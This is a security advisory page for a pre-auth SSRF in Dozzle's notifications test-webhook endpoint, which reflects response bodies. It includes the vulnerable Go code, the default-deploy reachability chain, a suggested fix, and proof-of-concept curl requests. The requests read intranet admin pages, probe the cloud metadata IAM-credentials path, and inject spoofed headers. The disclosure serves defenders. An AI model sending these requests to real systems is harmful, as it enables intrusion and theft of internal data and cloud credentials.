GHSA-3V9W-6365-9W54

Vulnerability from github – Published: 2026-05-18 16:41 – Updated: 2026-06-08 23:35
VLAI
Summary
Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)
Details

Summary

In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:

  • Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
  • Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.

C. Header injection downstream

curl -X POST -H "Content-Type: application/json" \
  -d '{
    "url":"http://internal-api.example.com:8080/admin/users",
    "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
  }' \
  http://dozzle.example.com/api/notifications/test-webhook

Suggested fix

  1. Refuse test-webhook when Authorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.
  2. SSRF-harden WebhookDispatcher. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.
  3. Stop reflecting response body. UX for "test webhook" only needs Success: bool, StatusCode: int.

Severity

  • CVSS 3.1: High — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.
  • Auth: none in default deploy. With DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.

Reproduction environment

  • Tested against: amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).
  • Code locations:
  • Handler: internal/web/notifications.go:652-716
  • Sink: internal/notification/dispatcher/webhook.go:88-120
  • Auth gate: internal/web/routes.go:130-138, 172-188
  • Default provider: internal/support/cli/args.go:18, main.go:231

Reporter

Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.14.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:41:39Z",
    "nvd_published_at": "2026-05-26T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that:\n\n- Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and\n- Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.\n\nThis is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle\u0027s host can route to \u2014 including private subnets, link-local cloud metadata, and loopback services.\n\n## Affected versions\n\n`internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added).\n\n## Default-deploy reachability chain\n\n```\nmain.go:58-59           \u2192 enforces AuthProvider in {none, forward-proxy, simple}\nsupport/cli/args.go:18  \u2192 AuthProvider default is \"none\"\nmain.go:231-243         \u2192 when AuthProvider == \"none\", web.AuthProvider stays at NONE\ninternal/web/routes.go:130-132, 137-138 \u2192 auth middleware only registered if Provider != NONE\ninternal/web/routes.go:172-188          \u2192 /api/notifications/* (incl. /test-webhook) is inside that conditional Group\n```\n\nSo the default Quickstart deploy\n\n```bash\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest\n```\n\nexposes `POST /api/notifications/test-webhook` to the network without any authentication.\n\n## The vulnerable handler\n\n```go\n// internal/web/notifications.go:652-716\nfunc (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {\n    var input TestWebhookInput\n    if err := json.NewDecoder(r.Body).Decode(\u0026input); err != nil { ... }\n    ...\n    webhook, err := dispatcher.NewWebhookDispatcher(\"test\", input.URL, templateStr, input.Headers)\n    ...\n    result := webhook.SendTest(r.Context(), mockNotification)\n    ...\n    writeJSON(w, http.StatusOK, \u0026TestWebhookResult{\n        Success:    result.Success,\n        StatusCode: statusCode,\n        Error:      errStr,\n    })\n}\n```\n\n`input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere.\n\n## The reflection sink\n\n```go\n// internal/notification/dispatcher/webhook.go:88-120\nreq, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))\n...\nfor k, v := range w.Headers { req.Header.Set(k, v) }\n...\nresp, err := w.client.Do(req)\n...\nif resp.StatusCode \u003c 200 || resp.StatusCode \u003e= 300 {\n    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB\n    responseBody, _ := io.ReadAll(limitedReader)\n    ...\n    return TestResult{\n        Success:    false,\n        StatusCode: resp.StatusCode,\n        Error:      fmt.Sprintf(\"webhook returned status code %d: %s\",\n                                 resp.StatusCode, string(responseBody)),\n    }\n}\n```\n\nWhen the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker.\n\n## PoC\n\n### A. Read intranet admin-panel response bodies (most common path)\n\nMost internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://192.168.1.1/admin/index.html\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nResponse shape (`writeJSON` to the public Internet):\n```json\n{\n  \"Success\": false,\n  \"StatusCode\": 401,\n  \"Error\": \"webhook returned status code 401: \u003chtml\u003e\u003chead\u003e... full intranet HTML body, up to 1MB ...\u003c/html\u003e\"\n}\n```\n\n### B. Cloud IMDS reachability probe\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nIf `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.\n\n### C. Header injection downstream\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"url\":\"http://internal-api.example.com:8080/admin/users\",\n    \"headers\":{\"X-Forwarded-User\":\"admin\",\"X-Real-IP\":\"127.0.0.1\"}\n  }\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\n## Suggested fix\n\n1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.\n2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.\n3. **Stop reflecting response body.** UX for \"test webhook\" only needs `Success: bool, StatusCode: int`.\n\n## Severity\n\n- **CVSS 3.1:** High \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` \u2248 7.5 in default no-auth deploy.\n- **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth.\n\n## Reproduction environment\n\n- Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`).\n- Code locations:\n  - Handler: `internal/web/notifications.go:652-716`\n  - Sink: `internal/notification/dispatcher/webhook.go:88-120`\n  - Auth gate: `internal/web/routes.go:130-138, 172-188`\n  - Default provider: `internal/support/cli/args.go:18`, `main.go:231`\n\n## Reporter\n\nEddie Ran. Filed via reporter API per dozzle\u0027s `SECURITY.md`.",
  "id": "GHSA-3v9w-6365-9w54",
  "modified": "2026-06-08T23:35:22Z",
  "published": "2026-05-18T16:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45298"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…